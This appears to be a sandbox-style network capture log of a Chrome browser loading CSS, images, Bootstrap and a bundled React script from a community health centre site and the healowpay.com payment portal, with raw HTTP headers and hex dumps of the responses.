https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2624-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:57 UTC	2624	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 09 f7 49 44 41 54 68 43 e5 5b 79 74 13 c7 19 9f 3d 2c d9 f2 21 21 e3 4b be b8 21 18 1f 09 4e 20 c6 80 84 6d 88 31 21 f4 95 23 0f 12 da 38 25 1c af f0 5e 4a d2 92 b4 e6 ea 2b 14 4a c9 41 82 21 36 21 01 0c a9 4d 29 c1 41 60 6c 23 e3 03 28 35 2d 21 10 ee 60 7c 81 0f f0 85 0d 2b 69 b5 9d 51 2a 3f 59 da 5d ed 4a b2 48 d2 fd 4b 4f fb 5d bf f9 be f9 e6 9b 6f 66 31 f0 43 7a f2 19 22 dd ef 26 d9 ae f0 c6 91 59 52 2a c2 50 a6 c1 8c ee 34 11 73 a7 30 67 64 4d f8 f2 aa bf 3c 40 e9 4b 03 ca 8f 20 31 33 50 eb 87 d1 9b 68 da 5b d2 75 ff 52 7d db f9 c5 89 06 67 74 58 f3 3c 31 c0 6a 5d 9b c2 97 ec 54 32 80 20 85 80 a0 09 Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC[yt=,!!K!N m1!#8%^J+JA!6!M)A`l#(5-!`\|+iQ?Y]JHKO]of1Cz"&YRP4s0gdM<@K 13Ph[uR}gtX<1j]T2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49998	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	778	OUT	GET /wp-content/themes/vpchc/dist/acf_block_column_content_with_image.css?ver=230904-91936 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:58 UTC	343	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: text/css Content-Length: 233 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-e9" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:58 UTC	233	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 2d 77 69 74 68 2d 69 6d 61 67 65 5f 5f 64 65 63 6f 72 7b 77 69 64 74 68 3a 31 36 2e 35 72 65 6d 3b 68 65 69 67 68 74 3a 31 36 2e 35 72 65 6d 3b 72 69 67 68 74 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 38 2e 32 35 72 65 6d 29 3b 74 6f 70 3a 30 7d 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 2d 77 69 74 68 2d 69 6d 61 67 65 2d 2d 72 65 76 65 72 73 65 20 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 2d 77 69 74 68 2d 69 6d 61 67 65 5f 5f 64 65 63 6f 72 7b 72 69 67 68 74 3a 61 75 74 6f 3b 6c 65 66 74 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 38 2e 32 35 72 65 6d 29 7d Data Ascii: .acf-block-column-content-with-image__decor{width:16.5rem;height:16.5rem;right:calc(100% - 8.25rem);top:0}.acf-block-column-content-with-image--reverse .acf-block-column-content-with-image__decor{right:auto;left:calc(100% - 8.25rem)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49999	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	778	OUT	GET /HealowPay/jsp/js/assets/js/bootstrap.bundle.min.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1417	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: text/javascript Content-Length: 78749 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"78749-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT vary: accept-encoding Server:
2024-04-24 12:44:58 UTC	14967	IN	Data Raw: 2f 2a 21 0d 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0d 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0d 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 Data Ascii: /! Bootstrap v5.0.2 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e
2024-04-24 12:44:58 UTC	16384	IN	Data Raw: 72 6e 20 76 6f 69 64 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 29 3b 69 66 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 72 65 74 75 72 6e 3b 69 66 28 74 68 69 73 2e 5f 74 72 69 67 67 65 72 53 6c 69 64 65 45 76 65 6e 74 28 72 2c 75 29 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 29 72 65 74 75 72 6e 3b 69 66 28 21 73 7c 7c 21 72 29 72 65 74 75 72 6e 3b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 30 2c 6c 26 26 74 68 69 73 2e 70 61 75 73 65 28 29 2c 74 68 69 73 2e 5f 73 65 74 41 63 74 69 76 65 49 6e 64 69 63 61 74 6f 72 45 6c 65 6d 65 6e 74 28 72 29 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 72 3b 63 6f 6e 73 74 20 70 3d 28 29 3d 3e 7b 50 2e 74 72 69 67 67 65 72 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 Data Ascii: rn void(this._isSliding=!1);if(this._isSliding)return;if(this._triggerSlideEvent(r,u).defaultPrevented)return;if(!s\|\|!r)return;this._isSliding=!0,l&&this.pause(),this._setActiveIndicatorElement(r),this._activeElement=r;const p=()=>{P.trigger(this._element
2024-04-24 12:44:58 UTC	16384	IN	Data Raw: 74 6f 70 2c 62 6f 74 74 6f 6d 3a 54 2e 62 6f 74 74 6f 6d 2d 79 2e 62 6f 74 74 6f 6d 2b 6d 2e 62 6f 74 74 6f 6d 2c 6c 65 66 74 3a 79 2e 6c 65 66 74 2d 54 2e 6c 65 66 74 2b 6d 2e 6c 65 66 74 2c 72 69 67 68 74 3a 54 2e 72 69 67 68 74 2d 79 2e 72 69 67 68 74 2b 6d 2e 72 69 67 68 74 7d 2c 43 3d 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 6f 66 66 73 65 74 3b 69 66 28 22 70 6f 70 70 65 72 22 3d 3d 3d 68 26 26 43 29 7b 76 61 72 20 6b 3d 43 5b 73 5d 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 4f 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 5b 73 74 2c 6e 74 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 3f 31 3a 2d 31 2c 69 3d 5b 69 74 2c 6e 74 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 3f 22 79 22 3a 22 78 22 3b 4f 5b 74 Data Ascii: top,bottom:T.bottom-y.bottom+m.bottom,left:y.left-T.left+m.left,right:T.right-y.right+m.right},C=t.modifiersData.offset;if("popper"===h&&C){var k=C[s];Object.keys(O).forEach((function(t){var e=[st,nt].indexOf(t)>=0?1:-1,i=[it,nt].indexOf(t)>=0?"y":"x";O[t
2024-04-24 12:44:58 UTC	16384	IN	Data Raw: 28 74 2c 65 29 7b 74 68 69 73 2e 5f 61 70 70 6c 79 4d 61 6e 69 70 75 6c 61 74 69 6f 6e 43 61 6c 6c 62 61 63 6b 28 74 2c 74 3d 3e 7b 63 6f 6e 73 74 20 69 3d 55 2e 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 28 74 2c 65 29 3b 76 6f 69 64 20 30 3d 3d 3d 69 3f 74 2e 73 74 79 6c 65 2e 72 65 6d 6f 76 65 50 72 6f 70 65 72 74 79 28 65 29 3a 28 55 2e 72 65 6d 6f 76 65 44 61 74 61 41 74 74 72 69 62 75 74 65 28 74 2c 65 29 2c 74 2e 73 74 79 6c 65 5b 65 5d 3d 69 29 7d 29 7d 5f 61 70 70 6c 79 4d 61 6e 69 70 75 6c 61 74 69 6f 6e 43 61 6c 6c 62 61 63 6b 28 65 2c 69 29 7b 72 28 65 29 3f 69 28 65 29 3a 74 2e 66 69 6e 64 28 65 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 6f 72 45 61 63 68 28 69 29 7d 69 73 4f 76 65 72 66 6c 6f 77 69 6e 67 28 29 7b 72 65 74 75 72 Data Ascii: (t,e){this._applyManipulationCallback(t,t=>{const i=U.getDataAttribute(t,e);void 0===i?t.style.removeProperty(e):(U.removeDataAttribute(t,e),t.style[e]=i)})}_applyManipulationCallback(e,i){r(e)?i(e):t.find(e,this._element).forEach(i)}isOverflowing(){retur
2024-04-24 12:44:58 UTC	14630	IN	Data Raw: 73 2e 5f 63 6f 6e 66 69 67 2e 61 6c 6c 6f 77 4c 69 73 74 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 73 61 6e 69 74 69 7a 65 46 6e 29 29 2c 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 65 29 3a 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 65 29 7d 67 65 74 54 69 74 6c 65 28 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 73 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 22 29 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 69 74 6c 65 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 69 74 6c 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 69 74 6c Data Ascii: s._config.allowList,this._config.sanitizeFn)),t.innerHTML=e):t.textContent=e)}getTitle(){let t=this._element.getAttribute("data-bs-original-title");return t\|\|(t="function"==typeof this._config.title?this._config.title.call(this._element):this._config.titl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	50000	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	569	OUT	GET /HealowPay/jsp/js/assets/img/paybill-widget-bg.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: image/png Content-Length: 4686 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"4686-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:58 UTC	4686	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 4f 00 00 02 38 08 03 00 00 00 44 3e fd 25 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 db 50 4c 54 45 00 00 00 4d bf e6 40 bf df 4e c4 e2 4e bc de 46 b9 e8 00 ff ff 4a bf df 49 b6 db 00 ff ff 00 00 00 47 c2 e0 40 bf df 40 bf bf 4b c3 e1 2a aa d5 4d bf d9 46 b9 dc 55 c6 e3 39 aa c6 00 00 ff 49 c2 db 49 b6 db 51 bc e4 47 b8 d5 33 99 cc 50 bf df 55 aa ff 40 bf d5 55 d5 d5 4b c3 d2 55 aa aa 00 aa aa 00 80 ff 44 bb dd 4d b3 cc 4e c8 de 33 cc cc 40 bf bf 45 ba d8 39 c6 e3 4e c4 d8 46 b9 d1 51 c9 e4 4b b4 d2 51 c5 e8 00 80 80 40 bf ff 47 c6 e3 46 c5 dc 49 c8 db 40 bf ea 4e c4 d8 4e b1 d8 47 c2 d6 55 aa d5 49 c2 e7 49 b6 b6 4d cc e6 43 bc d7 Data Ascii: PNGIHDRO8D>%sRGB,pHYsPLTEM@NNFJIG@@K*MFU9IIQG3PU@UKUDMN3@E9NFQKQ@GFI@NNGUIIMC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	50001	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	768	OUT	GET /wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:58 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: text/css Content-Length: 6684 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:42 GMT Vary: Accept-Encoding ETag: "64f5a12e-1a1c" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:58 UTC	6684	IN	Data Raw: 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 70 6f 73 74 2d 70 72 65 76 69 65 77 5f 5f 69 6d 61 67 65 2d 77 72 61 70 70 65 72 2c 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 76 69 64 65 6f 7b 66 6c 65 78 2d 62 61 73 69 73 3a 31 32 2e 31 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 70 6f 73 74 2d 70 72 65 76 69 65 77 5f 5f 69 6d 61 67 65 2d 77 72 61 70 70 65 72 2c 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 76 69 64 65 6f 7b 70 61 64 64 69 6e 67 3a 31 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 Data Ascii: .box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{flex-basis:12.125rem;padding:1rem!important}@media (min-width:576px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.25rem!import

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	50002	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	747	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/js/main.js?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:58 UTC	432	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: application/javascript Content-Length: 249943 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 12 Mar 2024 05:43:45 GMT Vary: Accept-Encoding ETag: "65efeb91-3d057" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:58 UTC	15952	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 61 69 6e 2e 30 38 65 65 34 39 31 63 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 32 31 39 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 72 3d 6e 28 37 36 33 29 2c 6f 3d 7b 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 64 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 64 69 73 70 6c 61 79 4e 61 6d 65 3a 21 30 2c 67 65 74 44 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 45 72 72 6f 72 3a 21 Data Ascii: /! For license information please see main.08ee491c.js.LICENSE.txt /(()=>{"use strict";var e={219:(e,t,n)=>{var r=n(763),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!
2024-04-24 12:44:58 UTC	16384	IN	Data Raw: 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 7c 7c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3d 3d 3d 65 3f 6c 65 28 74 29 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3d 3d 3d 65 26 26 22 66 6f 72 65 69 67 6e 4f 62 6a 65 63 74 22 3d 3d 3d 74 3f 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3a 65 7d 76 61 72 20 73 65 2c 63 65 2c 66 65 3d 28 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 21 3d 3d 65 2e 6e 61 6d 65 73 70 61 63 65 Data Ascii: .org/1999/xhtml"}}function ue(e,t){return null==e\|\|"http://www.w3.org/1999/xhtml"===e?le(t):"http://www.w3.org/2000/svg"===e&&"foreignObject"===t?"http://www.w3.org/1999/xhtml":e}var se,ce,fe=(ce=function(e,t){if("http://www.w3.org/2000/svg"!==e.namespace
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 58 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 64 65 6c 74 61 58 22 69 6e 20 65 3f 65 2e 64 65 6c 74 61 58 3a 22 77 68 65 65 6c 44 65 6c 74 61 58 22 69 6e 20 65 3f 2d 65 2e 77 68 65 65 6c 44 65 6c 74 61 58 3a 30 7d 2c 64 65 6c 74 61 59 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 64 65 6c 74 61 59 22 69 6e 20 65 3f 65 2e 64 65 6c 74 61 59 3a 22 77 68 65 65 6c 44 65 6c 74 61 59 22 69 6e 20 65 3f 2d 65 2e 77 68 65 65 6c 44 65 6c 74 61 59 3a 22 77 68 65 65 6c 44 65 6c 74 61 22 69 6e 20 65 3f 2d 65 2e 77 68 65 65 6c 44 65 6c 74 61 3a 30 7d 2c 64 65 6c 74 61 5a 3a 30 2c 64 65 6c 74 61 4d 6f 64 65 3a 30 7d 29 2c 4c 6e 3d 6f 6e 28 49 6e 29 2c 4e 6e 3d 5b 39 2c 31 33 2c 32 37 2c 33 32 5d 2c 52 6e 3d 63 26 26 22 43 6f 6d 70 6f 73 69 Data Ascii: X:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),Ln=on(In),Nn=[9,13,27,32],Rn=c&&"Composi
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 20 4f 6f 28 65 29 7b 30 3e 43 6f 7c 7c 28 65 2e 63 75 72 72 65 6e 74 3d 78 6f 5b 43 6f 5d 2c 78 6f 5b 43 6f 5d 3d 6e 75 6c 6c 2c 43 6f 2d 2d 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 6f 28 65 2c 74 29 7b 43 6f 2b 2b 2c 78 6f 5b 43 6f 5d 3d 65 2e 63 75 72 72 65 6e 74 2c 65 2e 63 75 72 72 65 6e 74 3d 74 7d 76 61 72 20 50 6f 3d 7b 7d 2c 4d 6f 3d 45 6f 28 50 6f 29 2c 54 6f 3d 45 6f 28 21 31 29 2c 49 6f 3d 50 6f 3b 66 75 6e 63 74 69 6f 6e 20 4c 6f 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 74 79 70 65 2e 63 6f 6e 74 65 78 74 54 79 70 65 73 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 50 6f 3b 76 61 72 20 72 3d 65 2e 73 74 61 74 65 4e 6f 64 65 3b 69 66 28 72 26 26 72 2e 5f 5f 72 65 61 63 74 49 6e 74 65 72 6e 61 6c 4d 65 6d 6f 69 7a 65 64 55 6e 6d 61 73 6b Data Ascii: ction Oo(e){0>Co\|\|(e.current=xo[Co],xo[Co]=null,Co--)}function _o(e,t){Co++,xo[Co]=e.current,e.current=t}var Po={},Mo=Eo(Po),To=Eo(!1),Io=Po;function Lo(e,t){var n=e.type.contextTypes;if(!n)return Po;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmask
